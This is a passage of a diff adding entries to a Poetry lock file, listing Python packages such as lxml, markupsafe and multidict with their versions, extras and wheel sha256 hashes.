"sha256:a6e441a86553c310258aca15d1c05903aaf4965b23f3bc2d55f200804e005ee5"}, + {file = "lxml-4.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ca34efc80a29351897e18888c71c6aca4a359247c87e0b1c7ada14f0ab0c0fb2"}, + {file = "lxml-4.9.2-cp39-cp39-win32.whl", hash = "sha256:6b418afe5df18233fc6b6093deb82a32895b6bb0b1155c2cdb05203f583053f1"}, + {file = "lxml-4.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:f1496ea22ca2c830cbcbd473de8f114a320da308438ae65abad6bab7867fe38f"}, + {file = "lxml-4.9.2-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:b264171e3143d842ded311b7dccd46ff9ef34247129ff5bf5066123c55c2431c"}, + {file = "lxml-4.9.2-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0dc313ef231edf866912e9d8f5a042ddab56c752619e92dfd3a2c277e6a7299a"}, + {file = "lxml-4.9.2-pp38-pypy38_pp73-macosx_10_15_x86_64.whl", hash = "sha256:16efd54337136e8cd72fb9485c368d91d77a47ee2d42b057564aae201257d419"}, + {file = "lxml-4.9.2-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:0f2b1e0d79180f344ff9f321327b005ca043a50ece8713de61d1cb383fb8ac05"}, + {file = "lxml-4.9.2-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:7b770ed79542ed52c519119473898198761d78beb24b107acf3ad65deae61f1f"}, + {file = "lxml-4.9.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:efa29c2fe6b4fdd32e8ef81c1528506895eca86e1d8c4657fda04c9b3786ddf9"}, + {file = "lxml-4.9.2-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7e91ee82f4199af8c43d8158024cbdff3d931df350252288f0d4ce656df7f3b5"}, + {file = "lxml-4.9.2-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:b23e19989c355ca854276178a0463951a653309fb8e57ce674497f2d9f208746"}, + {file = "lxml-4.9.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:01d36c05f4afb8f7c20fd9ed5badca32a2029b93b1750f571ccc0b142531caf7"}, + {file = "lxml-4.9.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7b515674acfdcadb0eb5d00d8a709868173acece5cb0be3dd165950cbfdf5409"}, + {file = "lxml-4.9.2.tar.gz", hash = "sha256:2455cfaeb7ac70338b3257f41e21f0724f4b5b0c0e7702da67ee6c3640835b67"}, +] + +[package.extras] +cssselect = ["cssselect (>=0.7)"] +html5 = ["html5lib"] +htmlsoup = ["BeautifulSoup4"] +source = ["Cython (>=0.29.7)"] + +[[package]] +name = "markdown-it-py" +version = "2.2.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "markdown-it-py-2.2.0.tar.gz", hash = "sha256:7c9a5e412688bc771c67432cbfebcdd686c93ce6484913dccf06cb5a0bea35a1"}, + {file = "markdown_it_py-2.2.0-py3-none-any.whl", hash = "sha256:5a35f8d1870171d9acc47b99612dc146129b631baf04970128b568f190d0cc30"}, +] + +[package.dependencies] +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +code-style = ["pre-commit (>=3.0,<4.0)"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = ["mdit-py-plugins"] +profiling = ["gprof2dot"] +rtd = ["attrs", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"] +testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] + +[[package]] +name = "markupsafe" +version = "2.1.2" +description = "Safely add untrusted strings to HTML/XML markup." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "MarkupSafe-2.1.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:665a36ae6f8f20a4676b53224e33d456a6f5a72657d9c83c2aa00765072f31f7"}, + {file = "MarkupSafe-2.1.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:340bea174e9761308703ae988e982005aedf427de816d1afe98147668cc03036"}, + {file = "MarkupSafe-2.1.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22152d00bf4a9c7c83960521fc558f55a1adbc0631fbb00a9471e097b19d72e1"}, + {file = "MarkupSafe-2.1.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:28057e985dace2f478e042eaa15606c7efccb700797660629da387eb289b9323"}, + {file = "MarkupSafe-2.1.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca244fa73f50a800cf8c3ebf7fd93149ec37f5cb9596aa8873ae2c1d23498601"}, + {file = "MarkupSafe-2.1.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d9d971ec1e79906046aa3ca266de79eac42f1dbf3612a05dc9368125952bd1a1"}, + {file = "MarkupSafe-2.1.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7e007132af78ea9df29495dbf7b5824cb71648d7133cf7848a2a5dd00d36f9ff"}, + {file = "MarkupSafe-2.1.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7313ce6a199651c4ed9d7e4cfb4aa56fe923b1adf9af3b420ee14e6d9a73df65"}, + {file = "MarkupSafe-2.1.2-cp310-cp310-win32.whl", hash = "sha256:c4a549890a45f57f1ebf99c067a4ad0cb423a05544accaf2b065246827ed9603"}, + {file = "MarkupSafe-2.1.2-cp310-cp310-win_amd64.whl", hash = "sha256:835fb5e38fd89328e9c81067fd642b3593c33e1e17e2fdbf77f5676abb14a156"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:2ec4f2d48ae59bbb9d1f9d7efb9236ab81429a764dedca114f5fdabbc3788013"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:608e7073dfa9e38a85d38474c082d4281f4ce276ac0010224eaba11e929dd53a"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65608c35bfb8a76763f37036547f7adfd09270fbdbf96608be2bead319728fcd"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2bfb563d0211ce16b63c7cb9395d2c682a23187f54c3d79bfec33e6705473c6"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:da25303d91526aac3672ee6d49a2f3db2d9502a4a60b55519feb1a4c7714e07d"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:9cad97ab29dfc3f0249b483412c85c8ef4766d96cdf9dcf5a1e3caa3f3661cf1"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:085fd3201e7b12809f9e6e9bc1e5c96a368c8523fad5afb02afe3c051ae4afcc"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1bea30e9bf331f3fef67e0a3877b2288593c98a21ccb2cf29b74c581a4eb3af0"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-win32.whl", hash = "sha256:7df70907e00c970c60b9ef2938d894a9381f38e6b9db73c5be35e59d92e06625"}, + {file = "MarkupSafe-2.1.2-cp311-cp311-win_amd64.whl", hash = "sha256:e55e40ff0cc8cc5c07996915ad367fa47da6b3fc091fdadca7f5403239c5fec3"}, + {file = "MarkupSafe-2.1.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:a6e40afa7f45939ca356f348c8e23048e02cb109ced1eb8420961b2f40fb373a"}, + {file = "MarkupSafe-2.1.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cf877ab4ed6e302ec1d04952ca358b381a882fbd9d1b07cccbfd61783561f98a"}, + {file = "MarkupSafe-2.1.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63ba06c9941e46fa389d389644e2d8225e0e3e5ebcc4ff1ea8506dce646f8c8a"}, + {file = "MarkupSafe-2.1.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f1cd098434e83e656abf198f103a8207a8187c0fc110306691a2e94a78d0abb2"}, + {file = "MarkupSafe-2.1.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:55f44b440d491028addb3b88f72207d71eeebfb7b5dbf0643f7c023ae1fba619"}, + {file = "MarkupSafe-2.1.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:a6f2fcca746e8d5910e18782f976489939d54a91f9411c32051b4aab2bd7c513"}, + {file = "MarkupSafe-2.1.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:0b462104ba25f1ac006fdab8b6a01ebbfbce9ed37fd37fd4acd70c67c973e460"}, + {file = "MarkupSafe-2.1.2-cp37-cp37m-win32.whl", hash = "sha256:7668b52e102d0ed87cb082380a7e2e1e78737ddecdde129acadb0eccc5423859"}, + {file = "MarkupSafe-2.1.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6d6607f98fcf17e534162f0709aaad3ab7a96032723d8ac8750ffe17ae5a0666"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a806db027852538d2ad7555b203300173dd1b77ba116de92da9afbc3a3be3eed"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a4abaec6ca3ad8660690236d11bfe28dfd707778e2442b45addd2f086d6ef094"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f03a532d7dee1bed20bc4884194a16160a2de9ffc6354b3878ec9682bb623c54"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4cf06cdc1dda95223e9d2d3c58d3b178aa5dacb35ee7e3bbac10e4e1faacb419"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:22731d79ed2eb25059ae3df1dfc9cb1546691cc41f4e3130fe6bfbc3ecbbecfa"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f8ffb705ffcf5ddd0e80b65ddf7bed7ee4f5a441ea7d3419e861a12eaf41af58"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:8db032bf0ce9022a8e41a22598eefc802314e81b879ae093f36ce9ddf39ab1ba"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:2298c859cfc5463f1b64bd55cb3e602528db6fa0f3cfd568d3605c50678f8f03"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-win32.whl", hash = "sha256:50c42830a633fa0cf9e7d27664637532791bfc31c731a87b202d2d8ac40c3ea2"}, + {file = "MarkupSafe-2.1.2-cp38-cp38-win_amd64.whl", hash = "sha256:bb06feb762bade6bf3c8b844462274db0c76acc95c52abe8dbed28ae3d44a147"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:99625a92da8229df6d44335e6fcc558a5037dd0a760e11d84be2260e6f37002f"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8bca7e26c1dd751236cfb0c6c72d4ad61d986e9a41bbf76cb445f69488b2a2bd"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40627dcf047dadb22cd25ea7ecfe9cbf3bbbad0482ee5920b582f3809c97654f"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40dfd3fefbef579ee058f139733ac336312663c6706d1163b82b3003fb1925c4"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:090376d812fb6ac5f171e5938e82e7f2d7adc2b629101cec0db8b267815c85e2"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2e7821bffe00aa6bd07a23913b7f4e01328c3d5cc0b40b36c0bd81d362faeb65"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:c0a33bc9f02c2b17c3ea382f91b4db0e6cde90b63b296422a939886a7a80de1c"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:b8526c6d437855442cdd3d87eede9c425c4445ea011ca38d937db299382e6fa3"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-win32.whl", hash = "sha256:137678c63c977754abe9086a3ec011e8fd985ab90631145dfb9294ad09c102a7"}, + {file = "MarkupSafe-2.1.2-cp39-cp39-win_amd64.whl", hash = "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed"}, + {file = "MarkupSafe-2.1.2.tar.gz", hash = "sha256:abcabc8c2b26036d62d4c746381a6f7cf60aafcc653198ad678306986b09450d"}, +] + +[[package]] +name = "mccabe" +version = "0.7.0" +description = "McCabe checker, plugin for flake8" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, + {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +description = "Markdown URL utilities" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, + {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, +] + +[[package]] +name = "multidict" +version = "6.0.4" +description = "multidict implementation" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b1a97283e0c85772d613878028fec909f003993e1007eafa715b24b377cb9b8"}, + {file = "multidict-6.0.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:eeb6dcc05e911516ae3d1f207d4b0520d07f54484c49dfc294d6e7d63b734171"}, + {file = "multidict-6.0.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d6d635d5209b82a3492508cf5b365f3446afb65ae7ebd755e70e18f287b0adf7"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c048099e4c9e9d615545e2001d3d8a4380bd403e1a0578734e0d31703d1b0c0b"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ea20853c6dbbb53ed34cb4d080382169b6f4554d394015f1bef35e881bf83547"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:16d232d4e5396c2efbbf4f6d4df89bfa905eb0d4dc5b3549d872ab898451f569"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36c63aaa167f6c6b04ef2c85704e93af16c11d20de1d133e39de6a0e84582a93"}, + {file = "multidict-6.0.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64bdf1086b6043bf519869678f5f2757f473dee970d7abf6da91ec00acb9cb98"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:43644e38f42e3af682690876cff722d301ac585c5b9e1eacc013b7a3f7b696a0"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7582a1d1030e15422262de9f58711774e02fa80df0d1578995c76214f6954988"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:ddff9c4e225a63a5afab9dd15590432c22e8057e1a9a13d28ed128ecf047bbdc"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:ee2a1ece51b9b9e7752e742cfb661d2a29e7bcdba2d27e66e28a99f1890e4fa0"}, + {file = "multidict-6.0.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a2e4369eb3d47d2034032a26c7a80fcb21a2cb22e1173d761a162f11e562caa5"}, + {file = "multidict-6.0.4-cp310-cp310-win32.whl", hash = "sha256:574b7eae1ab267e5f8285f0fe881f17efe4b98c39a40858247720935b893bba8"}, + {file = "multidict-6.0.4-cp310-cp310-win_amd64.whl", hash = "sha256:4dcbb0906e38440fa3e325df2359ac6cb043df8e58c965bb45f4e406ecb162cc"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0dfad7a5a1e39c53ed00d2dd0c2e36aed4650936dc18fd9a1826a5ae1cad6f03"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:64da238a09d6039e3bd39bb3aee9c21a5e34f28bfa5aa22518581f910ff94af3"}, + {file = "multidict-6.0.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ff959bee35038c4624250473988b24f846cbeb2c6639de3602c073f10410ceba"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:01a3a55bd90018c9c080fbb0b9f4891db37d148a0a18722b42f94694f8b6d4c9"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c5cb09abb18c1ea940fb99360ea0396f34d46566f157122c92dfa069d3e0e982"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:666daae833559deb2d609afa4490b85830ab0dfca811a98b70a205621a6109fe"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:11bdf3f5e1518b24530b8241529d2050014c884cf18b6fc69c0c2b30ca248710"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d18748f2d30f94f498e852c67d61261c643b349b9d2a581131725595c45ec6c"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:458f37be2d9e4c95e2d8866a851663cbc76e865b78395090786f6cd9b3bbf4f4"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:b1a2eeedcead3a41694130495593a559a668f382eee0727352b9a41e1c45759a"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7d6ae9d593ef8641544d6263c7fa6408cc90370c8cb2bbb65f8d43e5b0351d9c"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:5979b5632c3e3534e42ca6ff856bb24b2e3071b37861c2c727ce220d80eee9ed"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dcfe792765fab89c365123c81046ad4103fcabbc4f56d1c1997e6715e8015461"}, + {file = "multidict-6.0.4-cp311-cp311-win32.whl", hash = "sha256:3601a3cece3819534b11d4efc1eb76047488fddd0c85a3948099d5da4d504636"}, + {file = "multidict-6.0.4-cp311-cp311-win_amd64.whl", hash = "sha256:81a4f0b34bd92df3da93315c6a59034df95866014ac08535fc819f043bfd51f0"}, + {file = "multidict-6.0.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:67040058f37a2a51ed8ea8f6b0e6ee5bd78ca67f169ce6122f3e2ec80dfe9b78"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853888594621e6604c978ce2a0444a1e6e70c8d253ab65ba11657659dcc9100f"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:39ff62e7d0f26c248b15e364517a72932a611a9b75f35b45be078d81bdb86603"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:af048912e045a2dc732847d33821a9d84ba553f5c5f028adbd364dd4765092ac"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e8b901e607795ec06c9e42530788c45ac21ef3aaa11dbd0c69de543bfb79a9"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62501642008a8b9871ddfccbf83e4222cf8ac0d5aeedf73da36153ef2ec222d2"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:99b76c052e9f1bc0721f7541e5e8c05db3941eb9ebe7b8553c625ef88d6eefde"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:509eac6cf09c794aa27bcacfd4d62c885cce62bef7b2c3e8b2e49d365b5003fe"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21a12c4eb6ddc9952c415f24eef97e3e55ba3af61f67c7bc388dcdec1404a067"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:5cad9430ab3e2e4fa4a2ef4450f548768400a2ac635841bc2a56a2052cdbeb87"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab55edc2e84460694295f401215f4a58597f8f7c9466faec545093045476327d"}, + {file = "multidict-6.0.4-cp37-cp37m-win32.whl", hash = "sha256:5a4dcf02b908c3b8b17a45fb0f15b695bf117a67b76b7ad18b73cf8e92608775"}, + {file = "multidict-6.0.4-cp37-cp37m-win_amd64.whl", hash = "sha256:6ed5f161328b7df384d71b07317f4d8656434e34591f20552c7bcef27b0ab88e"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5fc1b16f586f049820c5c5b17bb4ee7583092fa0d1c4e28b5239181ff9532e0c"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1502e24330eb681bdaa3eb70d6358e818e8e8f908a22a1851dfd4e15bc2f8161"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b692f419760c0e65d060959df05f2a531945af31fda0c8a3b3195d4efd06de11"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45e1ecb0379bfaab5eef059f50115b54571acfbe422a14f668fc8c27ba410e7e"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ddd3915998d93fbcd2566ddf9cf62cdb35c9e093075f862935573d265cf8f65d"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:59d43b61c59d82f2effb39a93c48b845efe23a3852d201ed2d24ba830d0b4cf2"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc8e1d0c705233c5dd0c5e6460fbad7827d5d36f310a0fadfd45cc3029762258"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6aa0418fcc838522256761b3415822626f866758ee0bc6632c9486b179d0b52"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6748717bb10339c4760c1e63da040f5f29f5ed6e59d76daee30305894069a660"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4d1a3d7ef5e96b1c9e92f973e43aa5e5b96c659c9bc3124acbbd81b0b9c8a951"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4372381634485bec7e46718edc71528024fcdc6f835baefe517b34a33c731d60"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:fc35cb4676846ef752816d5be2193a1e8367b4c1397b74a565a9d0389c433a1d"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:4b9d9e4e2b37daddb5c23ea33a3417901fa7c7b3dee2d855f63ee67a0b21e5b1"}, + {file = "multidict-6.0.4-cp38-cp38-win32.whl", hash = "sha256:e41b7e2b59679edfa309e8db64fdf22399eec4b0b24694e1b2104fb789207779"}, + {file = "multidict-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:d6c254ba6e45d8e72739281ebc46ea5eb5f101234f3ce171f0e9f5cc86991480"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:16ab77bbeb596e14212e7bab8429f24c1579234a3a462105cda4a66904998664"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bc779e9e6f7fda81b3f9aa58e3a6091d49ad528b11ed19f6621408806204ad35"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4ceef517eca3e03c1cceb22030a3e39cb399ac86bff4e426d4fc6ae49052cc60"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:281af09f488903fde97923c7744bb001a9b23b039a909460d0f14edc7bf59706"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:52f2dffc8acaba9a2f27174c41c9e57f60b907bb9f096b36b1a1f3be71c6284d"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b41156839806aecb3641f3208c0dafd3ac7775b9c4c422d82ee2a45c34ba81ca"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5e3fc56f88cc98ef8139255cf8cd63eb2c586531e43310ff859d6bb3a6b51f1"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8316a77808c501004802f9beebde51c9f857054a0c871bd6da8280e718444449"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f70b98cd94886b49d91170ef23ec5c0e8ebb6f242d734ed7ed677b24d50c82cf"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bf6774e60d67a9efe02b3616fee22441d86fab4c6d335f9d2051d19d90a40063"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e69924bfcdda39b722ef4d9aa762b2dd38e4632b3641b1d9a57ca9cd18f2f83a"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:6b181d8c23da913d4ff585afd1155a0e1194c0b50c54fcfe286f70cdaf2b7176"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:52509b5be062d9eafc8170e53026fbc54cf3b32759a23d07fd935fb04fc22d95"}, + {file = "multidict-6.0.4-cp39-cp39-win32.whl", hash = "sha256:27c523fbfbdfd19c6867af7346332b62b586eed663887392cff78d614f9ec313"}, + {file = "multidict-6.0.4-cp39-cp39-win_amd64.whl", hash = "sha256:33029f5734336aa0d4c0384525da0387ef89148dc7191aae00ca5fb23d7aafc2"}, + {file = "multidict-6.0.4.tar.gz", hash = "sha256:3666906492efb76453c0e7b97f2cf459b0682e7402c0489a95484965dbc1da49"}, +] + +[[package]] +name = "multivolumefile" +version = "0.2.3" +description = "multi volume file wrapper library" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "multivolumefile-0.2.3-py3-none-any.whl", hash = "sha256:237f4353b60af1703087cf7725755a1f6fcaeeea48421e1896940cd1c920d678"}, + {file = 